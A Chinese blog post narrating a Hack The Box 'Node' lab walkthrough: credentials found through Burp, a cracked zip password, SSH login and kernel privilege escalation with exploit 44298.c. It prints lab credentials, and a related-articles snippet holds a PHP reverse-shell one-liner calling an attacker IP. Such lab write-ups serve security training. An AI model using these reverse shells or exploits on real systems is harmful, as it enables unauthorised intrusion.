Hack the box靶机 Node

最新推荐文章于 2024-01-30 18:00:20 发布
最新推荐文章于 2024-01-30 18:00:20 发布
阅读量319 收藏
点赞数 1
分类专栏： Hack the box
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38005854/article/details/106237253
版权

在这里插入图片描述在这里插入图片描述

dirb不能扫描
但是把bp开开
有很多信息

在这里插入图片描述在这里插入图片描述

找了半天在这里插入图片描述

myP14ceAdm1nAcc0uNT：manchester
找到账号
登录看看

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

下载文件
解码
是一个压缩包
而且有密码
破解密码

在这里插入图片描述

昨天家里停电
虚拟机损毁
今天重下的
忘了没有fcrackzip

在这里插入图片描述
在这里插入图片描述

mark：5AYRft73VtFpc84k
应该是账号
试试ssh

在这里插入图片描述

看来没错了

在这里插入图片描述

我需要tom用户的账号啊
看看tom的进程

在这里插入图片描述

在这里插入图片描述

看一下walkthrough
不会了
国外的实在是看不明白怎么操作的
国内的全是内核提权
倒是简单
算了
内核提权

在这里插入图片描述

在这里插入图片描述

用44298.c

在这里插入图片描述

在这里插入图片描述

成功了
但是感觉自己还是差很多
什么都不会的感觉了
尤其是在看老外写的walkthrough的时候
慢慢来吧
加油！

菜浪马废
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Hack the box的Easy难度比较有价值的靶机.rar
11-04
Hack the box的Easy难度比较有价值的靶机.rar
Wordle_1.0
热门推荐
yyf525的博客
05-29 8万+
目录 一：前言 二：玩法 1.游戏 2.查看记录 3.排词器 三：游戏模块 1.游戏主界面 2.查看记录 3.排词器 4：源码 5：结语 一：前言 看到最近网上出了一个比较火的Wordle小游戏，自己也写了一个，挽起来效果也不错，希望大家喜欢。 二：玩法 首先需要引用到新更新的game_2.0​​​​​​ 运行之后会出现四个选...
Hack The Box-Sherlocks-Noted
最新发布
m0_52742680的博客
01-30 803
在Forela工作的开发人员Simon向CERT团队通知了他桌面上出现的一张纸条。该纸条声称，他的系统已被泄露，西蒙工作站的敏感数据已被收集。犯罪者在他的工作站上进行了数据勒索，现在威胁说，除非他们的要求得到满足，否则将在暗网上公布数据。Simon的工作站包含多个敏感文件，包括计划的软件项目、内部开发计划和应用程序代码库。威胁情报小组认为，威胁行为者犯了一些错误，但他们没有找到任何联系威胁行为者的方法。该公司的利益相关者坚持要求解决这一事件，并恢复所有敏感数据。他们要求在任何情况下都不应泄露这些数据。
Hack The Box真实靶机环境搭建教程
大河之犬的博客
05-23 1748
应该是连接VPN走的端口，既然我们是在中国，还是选择UDP这种无连接的协议比较好。然后就可以下载VPN配置文件了。接下来，这里有欧洲和美国两个地区，每个地区只有一个服务节点，选择自己的VPN对应的节点。
解决hack the box国内访问慢的问题
zr1213159840的博客
05-02 5141
今晚打开靶机使用nmap扫描，实在太慢了，而且靶机的ping一直高居不下，以前可能会选择切换节点试试，但是一般切了后，还是会出现这种情况，主要是国内的网络环境有点“复杂”。 接着 然后 注意： hack the box官网有相应的建议，但是我切换了，不好使，建议如下： ...
Node靶机渗透测试
weixin_45597678的博客
07-08 703
首先下载Node靶机，在虚拟机中打开 1.局域网主机扫描查看哪些主机存活，命令netdiscover -i 网卡号 -r子网号。 发现目标主机192.168.127.137 2.对主机的开放端口进行扫描 nmap命令使用： -sT：使用TCP对主机进行扫描，使用tcp三次握手探测端口是否打开 -sS：使用SYN包进行探测，在tcp协议的第二步当系统收到一个SYN包的时候回复ACK说明端口开放，回复RST表示端口没有打开，但是需要root权限 sF：使用Fin包探测端口，比较隐蔽当系统收到一个FIN包
【Hack The Box】linux练习-- Node
人间体佐菲的博客
11-10 549
【Hack The Box】linux练习-- Node
HackTheBox靶机系列之困难Reel
04-09
主要介绍Reel靶机得整个利用过程
hack me please靶机攻略.docx
10-19
hack me please靶机攻略.docx
OWASP靶机、安全学习、测试
05-24
这里提供的是owasp靶机的下载，下载后直接在虚拟机导入即可使用 OWASP靶机是一个开放式Web应用程序安全项目组织，旨在帮助计算机和互联网应用程序提供公正、实际、有成本效益的信息。在信息安全中OWASP TOP 10 是...
渗透工具教程
07-15
工具推荐：Dradis Kali渗透测试报告生成器 工具推荐：Dradis Kali渗透测试报告生成器 工具推荐：Dradis Kali渗透测试报告生成器
web渗透测试靶机（新手）
05-07
web渗透测试靶机（新手）
node靶机下的渗透测试
jrdh的博客
09-14 251
node靶机下的渗透测试一：环境搭建二：实验流程三：实验步骤 一：环境搭建 二：实验流程 三：实验步骤 项目 项目 项目 项目1 项目2 项目3
hackthebox-node(考点：node.js/ubantu提权)
冬萍子癸水
04-12 480
nmap 只有3000端口可以利用，http://10.10.10.58:3000 进去看没什么有价值的，dirbuster扫也扫不出来啥。这个时候可以用ctrl+u进去，查看js里的登录信息或者burp抓一下，看有何发现。 发现api/users 再用这个路径进http看。 就出来了账号信息，很明显第一个就是管理员 那个管理员的密码MD5或hash，并不复杂，就是单纯的字母数字，这种我习惯...
废物的靶场日记 htb-oscp-beep+cronos+nineveh
m0_53302733的博客
03-29 1300
HTB-oscplike-beep+cronos+nineveh Beep easy难度的beep 靶机IP10.10.10.7 sudo nmap -sC -sV -A --min-rate=5000 -p- -Pn 10.10.10.7 访问80后发现是一个elastix searchsploit搜到php/webapps/18650.py 修改参数后发现有一个extension需要修改但是不知道是什么勾八 google elastix extension后发现是sip extension 用svwar
HTB靶场系列 linux靶机 Node靶机
m0_57221101的博客
01-13 1711
勘探 nmap > nmap 10.10.10.58 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 10:58 EDT Nmap scan report for 10.10.10.58 Host is up (0.31s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp Nmap
HTB靶场系列 linux靶机 Nineveh靶机
m0_57221101的博客
01-17 4301
勘探 nmap勘探 nmap -sC -sV 10.10.10.43 Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 16:22 CST Nmap scan report for 10.10.10.43 Host is up (0.36s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http
Hack the box靶机 nineveh
菜浪马废的博客
05-20 391
添加10.10.10.43 nineveh.htb 到/etc/hosts 扫描网站目录 发现一个登录页面 直接hydra爆破账号 admin：1q2w3e4r5t 继续hydra admin：password123 查看漏洞 没有返回 好像是必须在名称中包含ninevehNotes 可以了现在 nc连接 php -r ‘$sock=fsockopen(“10.10.16.118”,1234);exec("/bin/sh -i <&3 >&3 2&gt.
kali渗透综合靶机(四)--node1靶机
W小哥
03-10 1224
一、靶机下载 下载链接：https://download.vulnhub.com/node/Node.ova 二、node1靶机搭建 将下载好的靶机环境，用VMware导入即可使用，文件->打开 导入到合适位置即可，默认是C盘，成功导入虚拟机之后，打开即可 三、攻击过程 1、主机发现 nmap扫描：nmap -sn 192.168.27.0/24 二、端口扫描 方法一：masscan...
hack the box three
07-28
回答: 根据提供的引用内容，我了解到"Hack The Box"是一个在线平台，提供了一系列的虚拟机供用户进行渗透测试和漏洞利用的训练。根据引用\[1\]中的信息，可能涉及到nmap扫描、访问靶机地址、查看/etc/hosts、使用...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值